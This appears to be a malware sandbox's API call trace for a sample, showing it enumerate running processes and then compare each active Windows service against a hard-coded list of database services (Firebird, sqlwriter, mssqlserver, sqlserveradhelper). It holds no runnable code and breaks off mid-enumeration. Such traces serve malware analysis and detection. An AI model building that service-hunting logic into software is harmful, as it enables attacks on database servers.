	[0186.395] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0186.396] lstrlenW (lpString="SearchUI.exe") returned 12
	[0186.396] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0186.396] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0186.396] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0186.397] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0186.397] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0186.397] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0186.397] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0186.398] lstrlenW (lpString="dllhost.exe") returned 11
	[0186.398] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0186.398] lstrlenW (lpString="dllhost.exe") returned 11
	[0186.398] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0186.398] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0186.398] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0
	[0186.399] CloseHandle (hObject=0x330) returned 1
	[0186.399] Sleep (dwMilliseconds=0x1f4) 
	[0186.925] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929fc0
	[0186.925] EnumServicesStatusExW (in: hSCManager=0x3929fc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0186.926] GetLastError () returned 0xea
	[0186.926] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x76c0c0
	[0186.926] EnumServicesStatusExW (in: hSCManager=0x3929fc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x76c0c0, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x76c0c0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0186.927] CloseServiceHandle (hSCObject=0x3929fc0) returned 1
	[0186.927] lstrlenW (lpString="Appinfo") returned 7
	[0186.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0186.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0186.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0186.928] lstrlenW (lpString="AppXSvc") returned 7
	[0186.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0186.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0186.928] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0186.928] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0186.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0186.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0186.928] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0186.928] lstrlenW (lpString="Audiosrv") returned 8
	[0186.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0186.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0186.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0186.928] lstrlenW (lpString="BFE") returned 3
	[0186.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0186.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0186.928] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0186.928] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0186.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0186.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0186.928] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0186.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0186.928] lstrlenW (lpString="CDPSvc") returned 6
	[0186.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0186.929] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0186.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0186.929] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0186.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0186.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0186.929] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0186.929] lstrlenW (lpString="CryptSvc") returned 8
	[0186.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0186.929] lstrlenW (lpString="DcomLaunch") returned 10
	[0186.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0186.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0186.929] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0186.929] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0186.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0186.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0186.929] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0186.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0186.930] lstrlenW (lpString="Dhcp") returned 4
	[0186.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0186.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0186.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0186.930] lstrlenW (lpString="Dnscache") returned 8
	[0186.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0186.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0186.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0186.930] lstrlenW (lpString="DPS") returned 3
	[0186.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0186.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0186.930] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0186.930] lstrlenW (lpString="DusmSvc") returned 7
	[0186.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0186.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0186.930] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0186.930] lstrlenW (lpString="EventLog") returned 8
	[0186.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0186.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0186.930] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0186.930] lstrlenW (lpString="EventSystem") returned 11
	[0186.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0186.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0186.930] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0186.931] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0186.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0186.931] lstrlenW (lpString="FontCache") returned 9
	[0186.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0186.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0186.931] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0186.931] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0186.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0186.931] lstrlenW (lpString="gpsvc") returned 5
	[0186.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0186.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0186.931] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0186.931] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0186.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0186.931] lstrlenW (lpString="iphlpsvc") returned 8
	[0186.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0186.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0186.931] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0186.931] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0186.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0186.931] lstrlenW (lpString="KeyIso") returned 6
	[0186.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0186.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0186.931] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0186.931] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0186.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0186.931] lstrlenW (lpString="LanmanServer") returned 12
	[0186.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0186.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0186.931] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0186.931] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0186.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0186.931] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0186.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0186.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0186.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0186.932] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0186.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0186.932] lstrlenW (lpString="lfsvc") returned 5
	[0186.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0186.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0186.932] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0186.932] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0186.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0186.932] lstrlenW (lpString="lmhosts") returned 7
	[0186.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0186.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0186.932] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0186.932] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0186.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0186.932] lstrlenW (lpString="LSM") returned 3
	[0186.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0186.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0186.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0186.932] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0186.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0186.932] lstrlenW (lpString="MpsSvc") returned 6
	[0186.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0186.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0186.932] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0186.932] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0186.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0186.932] lstrlenW (lpString="NcbService") returned 10
	[0186.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0186.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0186.932] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0186.932] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0186.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0186.932] lstrlenW (lpString="netprofm") returned 8
	[0186.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0186.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0186.933] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0186.933] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0186.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0186.933] lstrlenW (lpString="NgcSvc") returned 6
	[0186.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0186.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0186.933] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0186.933] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0186.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0186.933] lstrlenW (lpString="NlaSvc") returned 6
	[0186.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0186.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0187.020] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0187.020] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0187.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0187.020] lstrlenW (lpString="nsi") returned 3
	[0187.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0187.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0187.020] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0187.020] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0187.021] lstrlenW (lpString="PcaSvc") returned 6
	[0187.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0187.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0187.021] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0187.021] lstrlenW (lpString="PlugPlay") returned 8
	[0187.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0187.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0187.021] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0187.021] lstrlenW (lpString="Power") returned 5
	[0187.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0187.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0187.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0187.021] lstrlenW (lpString="ProfSvc") returned 7
	[0187.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0187.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0187.021] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0187.021] lstrlenW (lpString="RpcEptMapper") returned 12
	[0187.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0187.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0187.021] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0187.021] lstrlenW (lpString="RpcSs") returned 5
	[0187.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0187.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0187.021] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0187.021] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0187.022] lstrlenW (lpString="SamSs") returned 5
	[0187.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0187.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0187.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0187.022] lstrlenW (lpString="Schedule") returned 8
	[0187.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0187.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0187.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0187.022] lstrlenW (lpString="SecurityHealthService") returned 21
	[0187.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0187.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0187.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0187.022] lstrlenW (lpString="SENS") returned 4
	[0187.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0187.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0187.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0187.022] lstrlenW (lpString="ShellHWDetection") returned 16
	[0187.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0187.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0187.022] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0187.022] lstrlenW (lpString="Spooler") returned 7
	[0187.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0187.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0187.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0187.023] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0187.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0187.023] lstrlenW (lpString="StateRepository") returned 15
	[0187.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0187.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
